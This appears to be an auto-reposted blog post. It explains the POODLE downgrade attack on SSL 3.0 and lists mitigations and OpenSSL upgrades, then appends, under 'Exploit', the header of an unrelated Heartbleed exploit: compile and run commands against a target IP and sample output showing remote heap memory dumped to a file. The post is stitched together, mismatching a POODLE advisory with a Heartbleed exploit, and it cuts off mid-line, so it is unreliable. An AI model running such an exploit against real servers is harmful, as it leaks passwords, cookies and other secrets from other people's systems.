Introduction SSL 3.0 [RFC6101] is an obsolete and insecure protocol. While for most practical purposes it has been replaced by its successors TLS 1.0 [RFC2246], TLS 1.1 [RFC4346], and TLS 1.2 [RFC5246], many TLS implementations remain backwardscompatible with SSL 3.0 to interoperate with legacy systems in the interest of a smooth user experience. The protocol handshake provides for authenticated version negotiation, so normally the latest protocol version common to the client and the server will be used. The POODLE Attack To work with legacy servers, many TLS clients implement a downgrade dance: in a first handshake attempt, offer the highest protocol version supported by the client; if this handshake fails, retry (possibly repeatedly) with earlier protocol versions. Unlike proper protocol version negotiation (if the client offers TLS 1.2, the server may respond with, say, TLS 1.0), this downgrade can also be triggered by network glitches, or by active attackers. So if an attacker that controls the network between the client and the server interferes with any attempted handshake offering TLS 1.0 or later, such clients will readily confine themselves to SSL 3.0. Recommendations The attack described above requires an SSL 3.0 connection to be established, so disabling the SSL 3.0 protocol in the client or in the server (or both) will completely avoid it. If either side supports only SSL 3.0, then all hope is gone, and a serious update required to avoid insecure encryption. If SSL 3.0 is neither disabled nor the only possible protocol version, then the attack is possible if the client uses a downgrade dance for interoperability. Impact The POODLE attack can be used against any system or application that supports SSL 3.0 with CBC mode ciphers. This affects most current browsers and websites, but also includes any software that either references a vulnerable SSL/TLS library (e.g. OpenSSL) or implements the SSL/TLS protocol suite itself. By exploiting this vulnerability in a likely web-based scenario, an attacker can gain access to sensitive data passed within the encrypted web session, such as passwords, cookies and other authentication tokens that can then be used to gain more complete access to a website (impersonating that user, accessing database content, etc.). Solution There is currently no fix for the vulnerability SSL 3.0 itself, as the issue is fundamental to the protocol; however, disabling SSL 3.0 support in system/application configurations is the most viable solution currently available. Some of the same researchers that discovered the vulnerability also developed a fix for one of the rerequisite conditions; TLS_FALLBACK_SCSV is a protocol extension that prevents MITM attackers from being able to force a protocol downgrade. OpenSSL has added support for TLS_FALLBACK_SCSV to their latest versions and recommend the following upgrades: - OpenSSL 1.0.1 users should upgrade to 1.0.1j. - OpenSSL 1.0.0 users should upgrade to 1.0.0o. - OpenSSL 0.9.8 users should upgrade to 0.9.8zc. Both clients and servers need to support TLS_FALLBACK_SCSV to prevent downgrade attacks. Other SSL 3.0 implementations are most likely also affected by POODLE. Contact your vendor for details. Additional vendor information may be available in the National Vulnerability Database (NVD) entry for CVE-2014-3566 or in CERT Vulnerability Note VU#577193.[7] Vulnerable TLS implementations need to be updated. CVE ID assignments and vendor information are also available in the NVD.[8] Exploit /* * Heartbleed OpenSSL information leak exploit * ========================================================= * This exploit uses OpenSSL to create an encrypted connection * and trigger the heartbleed leak. The leaked information is * returned within encrypted SSL packets and is then decrypted * and wrote to a file to annoy IDS/forensics. The exploit can * set heartbeat payload length arbitrarily or use two preset * values for NULL and MAX length. The vulnerability occurs due * to bounds checking not being performed on a heap value which * is user supplied and returned to the user as part of DTLS/TLS * heartbeat SSL extension. All versions of OpenSSL 1.0.1 to * 1.0.1f are known affected. You must run this against a target * which is linked to a vulnerable OpenSSL library using DTLS/TLS. * This exploit leaks upto 65535 bytes of remote heap each request * and can be run in a loop until the connected peer ends connection. * The data leaked contains 16 bytes of random padding at the end. * The exploit can be used against a connecting client or server, * it can also send pre_cmd's to plain-text services to establish * an SSL session such as with STARTTLS on SMTP/IMAP/POP3. Clients * will often forcefully close the connection during large leak * requests so try to lower your payload request size. * * Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g * * E.g. * $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed * $ ./heartbleed -s 192.168.11.23 -p 443 -f out -t 1 * [ heartbleed OpenSSL information leak exploit * [ ============================================================= * [ connecting to 192.168.11.23 443/tcp * [ connected to 192.168.11.23 443/tcp * [ <3 <3 <3 heart bleed <3 <3 <3 * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ heartbleed leaked length=65535 * [ final record type=24, length=16384 * [ wrote 16381 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=42 * [ decrypting SSL packet * [ final record type=24, length=18 * [ wrote 18 bytes of heap to file 'out' * [ done. * $ ls -al out * -rw
Source: Gmail -> IFTTT-> Blogger
No comments:
Post a Comment